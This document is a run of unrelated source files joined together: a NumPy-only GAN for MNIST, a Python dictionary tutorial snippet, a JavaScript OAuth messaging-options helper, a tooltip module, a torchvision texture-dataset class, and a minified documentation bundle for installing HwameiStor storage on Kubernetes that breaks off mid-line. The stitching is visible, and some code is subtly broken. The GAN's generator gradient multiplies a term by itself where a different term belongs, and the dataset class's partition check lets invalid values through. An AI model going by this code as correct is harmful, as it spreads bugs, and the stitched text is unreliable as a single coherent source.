import matplotlib.gridspec as gridspec import matplotlib.pyplot as plt import numpy as np from sklearn.utils import shuffle import input_data random_numer = 42 np.random.seed(random_numer) def ReLu(x): mask = (x > 0) * 1.0 return mask * x def d_ReLu(x): mask = (x > 0) * 1.0 return mask def arctan(x): return np.arctan(x) def d_arctan(x): return 1 / (1 + x ** 2) def log(x): return 1 / (1 + np.exp(-1 * x)) def d_log(x): return log(x) * (1 - log(x)) def tanh(x): return np.tanh(x) def d_tanh(x): return 1 - np.tanh(x) ** 2 def plot(samples): fig = plt.figure(figsize=(4, 4)) gs = gridspec.GridSpec(4, 4) gs.update(wspace=0.05, hspace=0.05) for i, sample in enumerate(samples): ax = plt.subplot(gs[i]) plt.axis("off") ax.set_xticklabels([]) ax.set_yticklabels([]) ax.set_aspect("equal") plt.imshow(sample.reshape(28, 28), cmap="Greys_r") return fig if __name__ == "__main__": # 1. Load Data and declare hyper print("--------- Load Data ----------") mnist = input_data.read_data_sets("MNIST_data", one_hot=False) temp = mnist.test images, labels = temp.images, temp.labels images, labels = shuffle(np.asarray(images), np.asarray(labels)) num_epoch = 10 learing_rate = 0.00009 G_input = 100 hidden_input, hidden_input2, hidden_input3 = 128, 256, 346 hidden_input4, hidden_input5, hidden_input6 = 480, 560, 686 print("--------- Declare Hyper Parameters ----------") # 2. Declare Weights D_W1 = ( np.random.normal(size=(784, hidden_input), scale=(1.0 / np.sqrt(784 / 2.0))) * 0.002 ) # D_b1 = np.random.normal(size=(128),scale=(1. / np.sqrt(128 / 2.))) *0.002 D_b1 = np.zeros(hidden_input) D_W2 = ( np.random.normal( size=(hidden_input, 1), scale=(1.0 / np.sqrt(hidden_input / 2.0)) ) * 0.002 ) # D_b2 = np.random.normal(size=(1),scale=(1. / np.sqrt(1 / 2.))) *0.002 D_b2 = np.zeros(1) G_W1 = ( np.random.normal( size=(G_input, hidden_input), scale=(1.0 / np.sqrt(G_input / 2.0)) ) * 0.002 ) # G_b1 = np.random.normal(size=(128),scale=(1. / np.sqrt(128 / 2.))) *0.002 G_b1 = np.zeros(hidden_input) G_W2 = ( np.random.normal( size=(hidden_input, hidden_input2), scale=(1.0 / np.sqrt(hidden_input / 2.0)), ) * 0.002 ) # G_b1 = np.random.normal(size=(128),scale=(1. / np.sqrt(128 / 2.))) *0.002 G_b2 = np.zeros(hidden_input2) G_W3 = ( np.random.normal( size=(hidden_input2, hidden_input3), scale=(1.0 / np.sqrt(hidden_input2 / 2.0)), ) * 0.002 ) # G_b1 = np.random.normal(size=(128),scale=(1. / np.sqrt(128 / 2.))) *0.002 G_b3 = np.zeros(hidden_input3) G_W4 = ( np.random.normal( size=(hidden_input3, hidden_input4), scale=(1.0 / np.sqrt(hidden_input3 / 2.0)), ) * 0.002 ) # G_b1 = np.random.normal(size=(128),scale=(1. / np.sqrt(128 / 2.))) *0.002 G_b4 = np.zeros(hidden_input4) G_W5 = ( np.random.normal( size=(hidden_input4, hidden_input5), scale=(1.0 / np.sqrt(hidden_input4 / 2.0)), ) * 0.002 ) # G_b1 = np.random.normal(size=(128),scale=(1. / np.sqrt(128 / 2.))) *0.002 G_b5 = np.zeros(hidden_input5) G_W6 = ( np.random.normal( size=(hidden_input5, hidden_input6), scale=(1.0 / np.sqrt(hidden_input5 / 2.0)), ) * 0.002 ) # G_b1 = np.random.normal(size=(128),scale=(1. / np.sqrt(128 / 2.))) *0.002 G_b6 = np.zeros(hidden_input6) G_W7 = ( np.random.normal( size=(hidden_input6, 784), scale=(1.0 / np.sqrt(hidden_input6 / 2.0)) ) * 0.002 ) # G_b2 = np.random.normal(size=(784),scale=(1. / np.sqrt(784 / 2.))) *0.002 G_b7 = np.zeros(784) # 3. For Adam Optimzier v1, m1 = 0, 0 v2, m2 = 0, 0 v3, m3 = 0, 0 v4, m4 = 0, 0 v5, m5 = 0, 0 v6, m6 = 0, 0 v7, m7 = 0, 0 v8, m8 = 0, 0 v9, m9 = 0, 0 v10, m10 = 0, 0 v11, m11 = 0, 0 v12, m12 = 0, 0 v13, m13 = 0, 0 v14, m14 = 0, 0 v15, m15 = 0, 0 v16, m16 = 0, 0 v17, m17 = 0, 0 v18, m18 = 0, 0 beta_1, beta_2, eps = 0.9, 0.999, 0.00000001 print("--------- Started Training ----------") for iter in range(num_epoch): random_int = np.random.randint(len(images) - 5) current_image = np.expand_dims(images[random_int], axis=0) # Func: Generate The first Fake Data Z = np.random.uniform(-1.0, 1.0, size=[1, G_input]) Gl1 = Z.dot(G_W1) + G_b1 Gl1A = arctan(Gl1) Gl2 = Gl1A.dot(G_W2) + G_b2 Gl2A = ReLu(Gl2) Gl3 = Gl2A.dot(G_W3) + G_b3 Gl3A = arctan(Gl3) Gl4 = Gl3A.dot(G_W4) + G_b4 Gl4A = ReLu(Gl4) Gl5 = Gl4A.dot(G_W5) + G_b5 Gl5A = tanh(Gl5) Gl6 = Gl5A.dot(G_W6) + G_b6 Gl6A = ReLu(Gl6) Gl7 = Gl6A.dot(G_W7) + G_b7 current_fake_data = log(Gl7) # Func: Forward Feed for Real data Dl1_r = current_image.dot(D_W1) + D_b1 Dl1_rA = ReLu(Dl1_r) Dl2_r = Dl1_rA.dot(D_W2) + D_b2 Dl2_rA = log(Dl2_r) # Func: Forward Feed for Fake Data Dl1_f = current_fake_data.dot(D_W1) + D_b1 Dl1_fA = ReLu(Dl1_f) Dl2_f = Dl1_fA.dot(D_W2) + D_b2 Dl2_fA = log(Dl2_f) # Func: Cost D D_cost = -np.log(Dl2_rA) + np.log(1.0 - Dl2_fA) # Func: Gradient grad_f_w2_part_1 = 1 / (1.0 - Dl2_fA) grad_f_w2_part_2 = d_log(Dl2_f) grad_f_w2_part_3 = Dl1_fA grad_f_w2 = grad_f_w2_part_3.T.dot(grad_f_w2_part_1 * grad_f_w2_part_2) grad_f_b2 = grad_f_w2_part_1 * grad_f_w2_part_2 grad_f_w1_part_1 = (grad_f_w2_part_1 * grad_f_w2_part_2).dot(D_W2.T) grad_f_w1_part_2 = d_ReLu(Dl1_f) grad_f_w1_part_3 = current_fake_data grad_f_w1 = grad_f_w1_part_3.T.dot(grad_f_w1_part_1 * grad_f_w1_part_2) grad_f_b1 = grad_f_w1_part_1 * grad_f_w1_part_2 grad_r_w2_part_1 = -1 / Dl2_rA grad_r_w2_part_2 = d_log(Dl2_r) grad_r_w2_part_3 = Dl1_rA grad_r_w2 = grad_r_w2_part_3.T.dot(grad_r_w2_part_1 * grad_r_w2_part_2) grad_r_b2 = grad_r_w2_part_1 * grad_r_w2_part_2 grad_r_w1_part_1 = (grad_r_w2_part_1 * grad_r_w2_part_2).dot(D_W2.T) grad_r_w1_part_2 = d_ReLu(Dl1_r) grad_r_w1_part_3 = current_image grad_r_w1 = grad_r_w1_part_3.T.dot(grad_r_w1_part_1 * grad_r_w1_part_2) grad_r_b1 = grad_r_w1_part_1 * grad_r_w1_part_2 grad_w1 = grad_f_w1 + grad_r_w1 grad_b1 = grad_f_b1 + grad_r_b1 grad_w2 = grad_f_w2 + grad_r_w2 grad_b2 = grad_f_b2 + grad_r_b2 # ---- Update Gradient ---- m1 = beta_1 * m1 + (1 - beta_1) * grad_w1 v1 = beta_2 * v1 + (1 - beta_2) * grad_w1 ** 2 m2 = beta_1 * m2 + (1 - beta_1) * grad_b1 v2 = beta_2 * v2 + (1 - beta_2) * grad_b1 ** 2 m3 = beta_1 * m3 + (1 - beta_1) * grad_w2 v3 = beta_2 * v3 + (1 - beta_2) * grad_w2 ** 2 m4 = beta_1 * m4 + (1 - beta_1) * grad_b2 v4 = beta_2 * v4 + (1 - beta_2) * grad_b2 ** 2 D_W1 = D_W1 - (learing_rate / (np.sqrt(v1 / (1 - beta_2)) + eps)) * ( m1 / (1 - beta_1) ) D_b1 = D_b1 - (learing_rate / (np.sqrt(v2 / (1 - beta_2)) + eps)) * ( m2 / (1 - beta_1) ) D_W2 = D_W2 - (learing_rate / (np.sqrt(v3 / (1 - beta_2)) + eps)) * ( m3 / (1 - beta_1) ) D_b2 = D_b2 - (learing_rate / (np.sqrt(v4 / (1 - beta_2)) + eps)) * ( m4 / (1 - beta_1) ) # Func: Forward Feed for G Z = np.random.uniform(-1.0, 1.0, size=[1, G_input]) Gl1 = Z.dot(G_W1) + G_b1 Gl1A = arctan(Gl1) Gl2 = Gl1A.dot(G_W2) + G_b2 Gl2A = ReLu(Gl2) Gl3 = Gl2A.dot(G_W3) + G_b3 Gl3A = arctan(Gl3) Gl4 = Gl3A.dot(G_W4) + G_b4 Gl4A = ReLu(Gl4) Gl5 = Gl4A.dot(G_W5) + G_b5 Gl5A = tanh(Gl5) Gl6 = Gl5A.dot(G_W6) + G_b6 Gl6A = ReLu(Gl6) Gl7 = Gl6A.dot(G_W7) + G_b7 current_fake_data = log(Gl7) Dl1 = current_fake_data.dot(D_W1) + D_b1 Dl1_A = ReLu(Dl1) Dl2 = Dl1_A.dot(D_W2) + D_b2 Dl2_A = log(Dl2) # Func: Cost G G_cost = -np.log(Dl2_A) # Func: Gradient grad_G_w7_part_1 = ((-1 / Dl2_A) * d_log(Dl2).dot(D_W2.T) * (d_ReLu(Dl1))).dot( D_W1.T ) grad_G_w7_part_2 = d_log(Gl7) grad_G_w7_part_3 = Gl6A grad_G_w7 = grad_G_w7_part_3.T.dot(grad_G_w7_part_1 * grad_G_w7_part_1) grad_G_b7 = grad_G_w7_part_1 * grad_G_w7_part_2 grad_G_w6_part_1 = (grad_G_w7_part_1 * grad_G_w7_part_2).dot(G_W7.T) grad_G_w6_part_2 = d_ReLu(Gl6) grad_G_w6_part_3 = Gl5A grad_G_w6 = grad_G_w6_part_3.T.dot(grad_G_w6_part_1 * grad_G_w6_part_2) grad_G_b6 = grad_G_w6_part_1 * grad_G_w6_part_2 grad_G_w5_part_1 = (grad_G_w6_part_1 * grad_G_w6_part_2).dot(G_W6.T) grad_G_w5_part_2 = d_tanh(Gl5) grad_G_w5_part_3 = Gl4A grad_G_w5 = grad_G_w5_part_3.T.dot(grad_G_w5_part_1 * grad_G_w5_part_2) grad_G_b5 = grad_G_w5_part_1 * grad_G_w5_part_2 grad_G_w4_part_1 = (grad_G_w5_part_1 * grad_G_w5_part_2).dot(G_W5.T) grad_G_w4_part_2 = d_ReLu(Gl4) grad_G_w4_part_3 = Gl3A grad_G_w4 = grad_G_w4_part_3.T.dot(grad_G_w4_part_1 * grad_G_w4_part_2) grad_G_b4 = grad_G_w4_part_1 * grad_G_w4_part_2 grad_G_w3_part_1 = (grad_G_w4_part_1 * grad_G_w4_part_2).dot(G_W4.T) grad_G_w3_part_2 = d_arctan(Gl3) grad_G_w3_part_3 = Gl2A grad_G_w3 = grad_G_w3_part_3.T.dot(grad_G_w3_part_1 * grad_G_w3_part_2) grad_G_b3 = grad_G_w3_part_1 * grad_G_w3_part_2 grad_G_w2_part_1 = (grad_G_w3_part_1 * grad_G_w3_part_2).dot(G_W3.T) grad_G_w2_part_2 = d_ReLu(Gl2) grad_G_w2_part_3 = Gl1A grad_G_w2 = grad_G_w2_part_3.T.dot(grad_G_w2_part_1 * grad_G_w2_part_2) grad_G_b2 = grad_G_w2_part_1 * grad_G_w2_part_2 grad_G_w1_part_1 = (grad_G_w2_part_1 * grad_G_w2_part_2).dot(G_W2.T) grad_G_w1_part_2 = d_arctan(Gl1) grad_G_w1_part_3 = Z grad_G_w1 = grad_G_w1_part_3.T.dot(grad_G_w1_part_1 * grad_G_w1_part_2) grad_G_b1 = grad_G_w1_part_1 * grad_G_w1_part_2 # ---- Update Gradient ---- m5 = beta_1 * m5 + (1 - beta_1) * grad_G_w1 v5 = beta_2 * v5 + (1 - beta_2) * grad_G_w1 ** 2 m6 = beta_1 * m6 + (1 - beta_1) * grad_G_b1 v6 = beta_2 * v6 + (1 - beta_2) * grad_G_b1 ** 2 m7 = beta_1 * m7 + (1 - beta_1) * grad_G_w2 v7 = beta_2 * v7 + (1 - beta_2) * grad_G_w2 ** 2 m8 = beta_1 * m8 + (1 - beta_1) * grad_G_b2 v8 = beta_2 * v8 + (1 - beta_2) * grad_G_b2 ** 2 m9 = beta_1 * m9 + (1 - beta_1) * grad_G_w3 v9 = beta_2 * v9 + (1 - beta_2) * grad_G_w3 ** 2 m10 = beta_1 * m10 + (1 - beta_1) * grad_G_b3 v10 = beta_2 * v10 + (1 - beta_2) * grad_G_b3 ** 2 m11 = beta_1 * m11 + (1 - beta_1) * grad_G_w4 v11 = beta_2 * v11 + (1 - beta_2) * grad_G_w4 ** 2 m12 = beta_1 * m12 + (1 - beta_1) * grad_G_b4 v12 = beta_2 * v12 + (1 - beta_2) * grad_G_b4 ** 2 m13 = beta_1 * m13 + (1 - beta_1) * grad_G_w5 v13 = beta_2 * v13 + (1 - beta_2) * grad_G_w5 ** 2 m14 = beta_1 * m14 + (1 - beta_1) * grad_G_b5 v14 = beta_2 * v14 + (1 - beta_2) * grad_G_b5 ** 2 m15 = beta_1 * m15 + (1 - beta_1) * grad_G_w6 v15 = beta_2 * v15 + (1 - beta_2) * grad_G_w6 ** 2 m16 = beta_1 * m16 + (1 - beta_1) * grad_G_b6 v16 = beta_2 * v16 + (1 - beta_2) * grad_G_b6 ** 2 m17 = beta_1 * m17 + (1 - beta_1) * grad_G_w7 v17 = beta_2 * v17 + (1 - beta_2) * grad_G_w7 ** 2 m18 = beta_1 * m18 + (1 - beta_1) * grad_G_b7 v18 = beta_2 * v18 + (1 - beta_2) * grad_G_b7 ** 2 G_W1 = G_W1 - (learing_rate / (np.sqrt(v5 / (1 - beta_2)) + eps)) * ( m5 / (1 - beta_1) ) G_b1 = G_b1 - (learing_rate / (np.sqrt(v6 / (1 - beta_2)) + eps)) * ( m6 / (1 - beta_1) ) G_W2 = G_W2 - (learing_rate / (np.sqrt(v7 / (1 - beta_2)) + eps)) * ( m7 / (1 - beta_1) ) G_b2 = G_b2 - (learing_rate / (np.sqrt(v8 / (1 - beta_2)) + eps)) * ( m8 / (1 - beta_1) ) G_W3 = G_W3 - (learing_rate / (np.sqrt(v9 / (1 - beta_2)) + eps)) * ( m9 / (1 - beta_1) ) G_b3 = G_b3 - (learing_rate / (np.sqrt(v10 / (1 - beta_2)) + eps)) * ( m10 / (1 - beta_1) ) G_W4 = G_W4 - (learing_rate / (np.sqrt(v11 / (1 - beta_2)) + eps)) * ( m11 / (1 - beta_1) ) G_b4 = G_b4 - (learing_rate / (np.sqrt(v12 / (1 - beta_2)) + eps)) * ( m12 / (1 - beta_1) ) G_W5 = G_W5 - (learing_rate / (np.sqrt(v13 / (1 - beta_2)) + eps)) * ( m13 / (1 - beta_1) ) G_b5 = G_b5 - (learing_rate / (np.sqrt(v14 / (1 - beta_2)) + eps)) * ( m14 / (1 - beta_1) ) G_W6 = G_W6 - (learing_rate / (np.sqrt(v15 / (1 - beta_2)) + eps)) * ( m15 / (1 - beta_1) ) G_b6 = G_b6 - (learing_rate / (np.sqrt(v16 / (1 - beta_2)) + eps)) * ( m16 / (1 - beta_1) ) G_W7 = G_W7 - (learing_rate / (np.sqrt(v17 / (1 - beta_2)) + eps)) * ( m17 / (1 - beta_1) ) G_b7 = G_b7 - (learing_rate / (np.sqrt(v18 / (1 - beta_2)) + eps)) * ( m18 / (1 - beta_1) ) # --- Print Error ---- # print("Current Iter: ",iter, " Current D cost:",D_cost, " Current G cost: ", G_cost,end='\r') if iter == 0: learing_rate = learing_rate * 0.01 if iter == 40: learing_rate = learing_rate * 0.01 # ---- Print to Out put ---- if iter % 10 == 0: print( "Current Iter: ", iter, " Current D cost:", D_cost, " Current G cost: ", G_cost, end="\r", ) print("--------- Show Example Result See Tab Above ----------") print("--------- Wait for the image to load ---------") Z = np.random.uniform(-1.0, 1.0, size=[16, G_input]) Gl1 = Z.dot(G_W1) + G_b1 Gl1A = arctan(Gl1) Gl2 = Gl1A.dot(G_W2) + G_b2 Gl2A = ReLu(Gl2) Gl3 = Gl2A.dot(G_W3) + G_b3 Gl3A = arctan(Gl3) Gl4 = Gl3A.dot(G_W4) + G_b4 Gl4A = ReLu(Gl4) Gl5 = Gl4A.dot(G_W5) + G_b5 Gl5A = tanh(Gl5) Gl6 = Gl5A.dot(G_W6) + G_b6 Gl6A = ReLu(Gl6) Gl7 = Gl6A.dot(G_W7) + G_b7 current_fake_data = log(Gl7) fig = plot(current_fake_data) fig.savefig( "Click_Me_{}.png".format( str(iter).zfill(3) + "_Ginput_" + str(G_input) + "_hiddenone" + str(hidden_input) + "_hiddentwo" + str(hidden_input2) + "_LR_" + str(learing_rate) ), bbox_inches="tight", ) # for complete explanation visit https://towardsdatascience.com/only-numpy-implementing-gan-general-adversarial-networks-and-adam-optimizer-using-numpy-with-2a7e4e032021 # -- end code --
#Dictionary #Can be used when list of items dont need to be ordered. user = { 'age' : [1,2,3], 'username' : "John", 'greet' : 'hello' } #Dictionary keys are inmutable #get method dictionaries print(user.get('age')) #if get has no value computer returns new print(user.get('password')) user2 = dict(name ='Johna') print(user2)
const _getOAuth2 = opts => ({ ...opts, oa2: { client: opts.oa2.client || opts.oa2.clientid, secret: opts.oa2.secret || opts.oa2.clientsecret, endpoint: opts.oa2.endpoint || opts.oa2.tokenendpoint, granttype: opts.oa2.granttype } }) // protocols are: httprest or amqp10ws const _optionsMessaging = (options, protocol) => { const opts = options && options.credentials && options.credentials.messaging && options.credentials.messaging.filter(entry => entry.protocol.includes(protocol))[0] if (!opts) throw new Error( `No ${protocol} credentials found. Hint: You need to bind your app to an Enterprise-Messaging service or provide the necessary credentials through environment variables.` ) const res = _getOAuth2(opts) if (options.amqp) { if (!res.amqp) res.amqp = options.amqp else Object.assign(res.amqp, options.amqp) } return res } module.exports = _optionsMessaging
var tooltip; (function (tooltip) { var tooltipDiv; var PADDING = 4; var willShow = false; function init() { tooltipDiv = document.createElement("div"); tooltipDiv.className = "tooltip"; tooltipDiv.style.position = "absolute"; tooltipDiv.style.top = "0px"; tooltipDiv.style.left = "0px"; tooltipDiv.style.display = "none"; document.body.insertAdjacentElement("beforeend", tooltipDiv); } tooltip.init = init; function show(title, elt, side) { if (side != "top") { console.error("only 'top' side tooltip supported"); return; } if (title == "") { title = elt.dataset["title"]; } tooltipDiv.innerText = title; tooltipDiv.style.display = "block"; var tRect = tooltipDiv.getBoundingClientRect(); var eRect = getBoundingViewportRect(elt); var vRect = getViewportRect(); var x = eRect.left + eRect.width / 2 - tRect.width / 2; if (x < vRect.left) { x = vRect.left + PADDING; } else if (x + tRect.width > vRect.right) { x = vRect.right - tRect.width - PADDING; } var y = eRect.top - tRect.height - PADDING; if (y < vRect.top) { y = vRect.top + PADDING; } else if (y + tRect.height > vRect.bottom) { y = vRect.bottom - tRect.height - PADDING; } tooltipDiv.style.transform = "translate(" + x + "px," + y + "px)"; willShow = false; } tooltip.show = show; function showWithDelay(title, elt, side, delay) { willShow = true; // make sure user didn't leave the element during the delay setTimeout(function () { if (willShow) show(title, elt, side); }, delay); } tooltip.showWithDelay = showWithDelay; function getBoundingViewportRect(elt) { var rect = elt.getBoundingClientRect(); return { top: rect.top + window.pageYOffset, bottom: rect.bottom + window.pageYOffset, left: rect.left + window.pageXOffset, right: rect.right + window.pageXOffset, width: rect.width, height: rect.height }; } function getViewportRect() { var rect = document.documentElement.getBoundingClientRect(); return { top: window.pageYOffset, left: window.pageXOffset, bottom: window.pageYOffset + rect.height, right: window.pageXOffset + rect.width, width: rect.width, height: rect.height }; } function hide() { tooltipDiv.style.display = "none"; willShow = false; } tooltip.hide = hide; })(tooltip || (tooltip = {})); //# sourceMappingURL=tooltip.js.map
import os import pathlib from typing import Optional, Callable import PIL.Image from .utils import verify_str_arg, download_and_extract_archive from .vision import VisionDataset class DTD(VisionDataset): """`Describable Textures Dataset (DTD) <https://www.robots.ox.ac.uk/~vgg/data/dtd/>`_. Args: root (string): Root directory of the dataset. split (string, optional): The dataset split, supports ``"train"`` (default), ``"val"``, or ``"test"``. partition (int, optional): The dataset partition. Should be ``1 <= partition <= 10``. Defaults to ``1``. .. note:: The partition only changes which split each image belongs to. Thus, regardless of the selected partition, combining all splits will result in all images. transform (callable, optional): A function/transform that takes in a PIL image and returns a transformed version. E.g, ``transforms.RandomCrop``. target_transform (callable, optional): A function/transform that takes in the target and transforms it. download (bool, optional): If True, downloads the dataset from the internet and puts it in root directory. If dataset is already downloaded, it is not downloaded again. Default is False. """ _URL = "https://www.robots.ox.ac.uk/~vgg/data/dtd/download/dtd-r1.0.1.tar.gz" _MD5 = "fff73e5086ae6bdbea199a49dfb8a4c1" def __init__( self, root: str, split: str = "train", partition: int = 1, transform: Optional[Callable] = None, target_transform: Optional[Callable] = None, download: bool = False, ) -> None: self._split = verify_str_arg(split, "split", ("train", "val", "test")) if not isinstance(partition, int) and not (1 <= partition <= 10): raise ValueError( f"Parameter 'partition' should be an integer with `1 <= partition <= 10`, " f"but got {partition} instead" ) self._partition = partition super().__init__(root, transform=transform, target_transform=target_transform) self._base_folder = pathlib.Path(self.root) / type(self).__name__.lower() self._data_folder = self._base_folder / "dtd" self._meta_folder = self._data_folder / "labels" self._images_folder = self._data_folder / "images" if download: self._download() if not self._check_exists(): raise RuntimeError("Dataset not found. You can use download=True to download it") self._image_files = [] classes = [] with open(self._meta_folder / f"{self._split}{self._partition}.txt") as file: for line in file: cls, name = line.strip().split("/") self._image_files.append(self._images_folder.joinpath(cls, name)) classes.append(cls) self.classes = sorted(set(classes)) self.class_to_idx = dict(zip(self.classes, range(len(self.classes)))) self._labels = [self.class_to_idx[cls] for cls in classes] def __len__(self) -> int: return len(self._image_files) def __getitem__(self, idx): image_file, label = self._image_files[idx], self._labels[idx] image = PIL.Image.open(image_file).convert("RGB") if self.transform: image = self.transform(image) if self.target_transform: label = self.target_transform(label) return image, label def extra_repr(self) -> str: return f"split={self._split}, partition={self._partition}" def _check_exists(self) -> bool: return os.path.exists(self._data_folder) and os.path.isdir(self._data_folder) def _download(self) -> None: if self._check_exists(): return download_and_extract_archive(self._URL, download_root=str(self._base_folder), md5=self._MD5)
"use strict";(self.webpackChunkwebsite=self.webpackChunkwebsite||[]).push([[4564],{3905:function(e,a,t){t.d(a,{Zo:function(){return d},kt:function(){return g}});var n=t(7294);function l(e,a,t){return a in e?Object.defineProperty(e,a,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[a]=t,e}function o(e,a){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);a&&(n=n.filter((function(a){return Object.getOwnPropertyDescriptor(e,a).enumerable}))),t.push.apply(t,n)}return t}function s(e){for(var a=1;a<arguments.length;a++){var t=null!=arguments[a]?arguments[a]:{};a%2?o(Object(t),!0).forEach((function(a){l(e,a,t[a])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):o(Object(t)).forEach((function(a){Object.defineProperty(e,a,Object.getOwnPropertyDescriptor(t,a))}))}return e}function r(e,a){if(null==e)return{};var t,n,l=function(e,a){if(null==e)return{};var t,n,l={},o=Object.keys(e);for(n=0;n<o.length;n++)t=o[n],a.indexOf(t)>=0||(l[t]=e[t]);return l}(e,a);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(n=0;n<o.length;n++)t=o[n],a.indexOf(t)>=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(l[t]=e[t])}return l}var c=n.createContext({}),i=function(e){var a=n.useContext(c),t=a;return e&&(t="function"==typeof e?e(a):s(s({},a),e)),t},d=function(e){var a=i(e.components);return n.createElement(c.Provider,{value:a},e.children)},p={inlineCode:"code",wrapper:function(e){var a=e.children;return n.createElement(n.Fragment,{},a)}},u=n.forwardRef((function(e,a){var t=e.components,l=e.mdxType,o=e.originalType,c=e.parentName,d=r(e,["components","mdxType","originalType","parentName"]),u=i(t),g=l,m=u["".concat(c,".").concat(g)]||u[g]||p[g]||o;return t?n.createElement(m,s(s({ref:a},d),{},{components:t})):n.createElement(m,s({ref:a},d))}));function g(e,a){var t=arguments,l=a&&a.mdxType;if("string"==typeof e||l){var o=t.length,s=new Array(o);s[0]=u;var r={};for(var c in a)hasOwnProperty.call(a,c)&&(r[c]=a[c]);r.originalType=e,r.mdxType="string"==typeof e?e:l,s[1]=r;for(var i=2;i<o;i++)s[i]=t[i];return n.createElement.apply(null,s)}return n.createElement.apply(null,t)}u.displayName="MDXCreateElement"},269:function(e,a,t){t.r(a),t.d(a,{assets:function(){return d},contentTitle:function(){return c},default:function(){return g},frontMatter:function(){return r},metadata:function(){return i},toc:function(){return p}});var n=t(7462),l=t(3366),o=(t(7294),t(3905)),s=["components"],r={sidebar_position:3},c="Independent Installation",i={unversionedId:"02installation/02install",id:"02installation/02install",title:"Independent Installation",description:"This page explains how you can independently install and deploy HwaweiStor local storage on a Kubernetes node.",source:"@site/docs/02installation/02install.md",sourceDirName:"02installation",slug:"/02installation/02install",permalink:"/docs/02installation/02install",editUrl:"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/02installation/02install.md",tags:[],version:"current",sidebarPosition:3,frontMatter:{sidebar_position:3},sidebar:"tutorialSidebar",previous:{title:"Deploy by Helm Chart",permalink:"/docs/02installation/01helm-chart"},next:{title:"Documentation - Scenarios",permalink:"/docs/03scenarios"}},d={},p=[{value:"Step 1: Select and Configure Nodes",id:"step-1-select-and-configure-nodes",level:3},{value:"Step 2: Deploy local-storage, CSI Sidecars, and scheduler",id:"step-2-deploy-local-storage-csi-sidecars-and-scheduler",level:3},{value:"Step 3: Create StorageClass",id:"step-3-create-storageclass",level:3},{value:"Step 4: Create PVC",id:"step-4-create-pvc",level:3},{value:"Step 5: Deploy Nginx with PVC",id:"step-5-deploy-nginx-with-pvc",level:3},{value:"Step 6: Check status of local-storage",id:"step-6-check-status-of-local-storage",level:3},{value:"Step 7: Deploy local disk manager service",id:"step-7-deploy-local-disk-manager-service",level:3}],u={toc:p};function g(e){var a=e.components,t=(0,l.Z)(e,s);return(0,o.kt)("wrapper",(0,n.Z)({},u,t,{components:a,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"independent-installation"},"Independent Installation"),(0,o.kt)("p",null,"This page explains how you can independently install and deploy HwaweiStor local storage on a Kubernetes node."),(0,o.kt)("h3",{id:"step-1-select-and-configure-nodes"},"Step 1: Select and Configure Nodes"),(0,o.kt)("p",null,'Before deploying local-storage, you must decide which Kubernetes nodes for it. These nodes will be added to the local-storage. The node must have the free disks and also be able to host the applications using the local volume. In addition, you must decide which kind of volume (LVM, DISK or RAM) should be able to provision on each node. Besides, for the node which is already configured with LVM or DISK, you can still configure RAM volume for it by adding "ramdiskTotalCapacity" into the configuration as below.'),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-bash"},'# 1. List all the kubernetes nodes\n$ kubectl get nodes\nNAME STATUS ROLES AGE VERSION\nlocalstorage-10-6-161-21 Ready master,registry 10d v1.18.6\nlocalstorage-10-6-161-25 Ready <none> 10d v1.18.6\nlocalstorage-10-6-161-26 Ready <none> 10d v1.18.6\nlocalstorage-10-6-161-27 Ready <none> 10d v1.18.6\n\n# 2. Add local-storage label for each selected node, key is "lvm.hwameistor.io/enable"\n$ kubectl label node localstorage-10-6-161-27 lvm.hwameistor.io/enable=true\nnode/localstorage-10-6-161-27 labeled\n\n# *** Important notes ***\n# can NOT change the order of step 2 and 3\n')),(0,o.kt)("h3",{id:"step-2-deploy-local-storage-csi-sidecars-and-scheduler"},"Step 2: Deploy local-storage, CSI Sidecars, and scheduler"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-bash"},"# 0. checkout the code\n$ git clone https://github.com/hwameistor/local-storage.git\n$ cd local-storage\n\n# 1. create a separate namespace for local-storage, e.g. local-storage-system\n$ kubectl apply -f deploy/01_namespace.yaml\n\n# 2. create a RBAC, limitrange in the namespace\n$ kubectl apply -f deploy/02_rbac.yaml\n$ kubectl apply -f deploy/03_limitsrange.yaml\n\n# 3. deploy local-storage CRDs\n$ kubectl apply -f deploy/crds\n\n# 4. deploy local-storage cluster\n$ kubectl apply -f deploy/05_cluster.yaml\n\n# 5. deploy CSI sidecars\n$ kubectl apply -f deploy/06_csi_controller.yaml\n\n# 6. deploy scheduler\n$ kubectl apply -f deploy/07_scheduler.yaml\n\n# 7. check status of the deployment\n$ kubectl -n local-storage-system get pod -o wide\nNAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES\nhwameistor-csi-controller-0 3/3 Running 15 13h 172.29.54.20 localstorage-10-6-161-27 <none> <none>\nhwameistor-local-storage-4b6n8 3/3 Running 0 18m 10.6.161.27 localstorage-10-6-161-27 <none> <none>\nhwameistor-local-storage-dv7nd 3/3 Running 0 18m 10.6.161.26 localstorage-10-6-161-26 <none> <none>\nhwameistor-local-storage-vzdqh 3/3 Running 0 18m 10.6.161.25 localstorage-10-6-161-25 <none> <none>\nhwameistor-scheduler-6585bb5897-9xj85 1/1 Running 0 15h 172.29.164.160 localstorage-10-6-161-25 <none> <none>\n")),(0,o.kt)("h3",{id:"step-3-create-storageclass"},"Step 3: Create StorageClass"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-bash"},"# You should create a storageclass for each volume kind, i.e. LVM, DISK, RAM\n\n# LVM volume storageclass (waitforfistconsumer mode) with expansion capability\n$ kubectl apply -f deploy/storageclass-lvm.yaml\n# Disk volume storageclass (waitforfistconsumer mode) without expansion capability\n$ kubectl apply -f deploy/storageclass-disk.yaml\n# RAMdisk volume storageclass (waitforfistconsumer mode) without expansion capability\n$ kubectl apply -f deploy/storageclass-ram.yaml\n\n# check for storageclass\n$ kubectl get sc\nNAME PROVISIONER RECLAIMPOLICY VOLUMEBINDINGMODE ALLOWVOLUMEEXPANSION AGE\nlocal-storage-hdd-disk 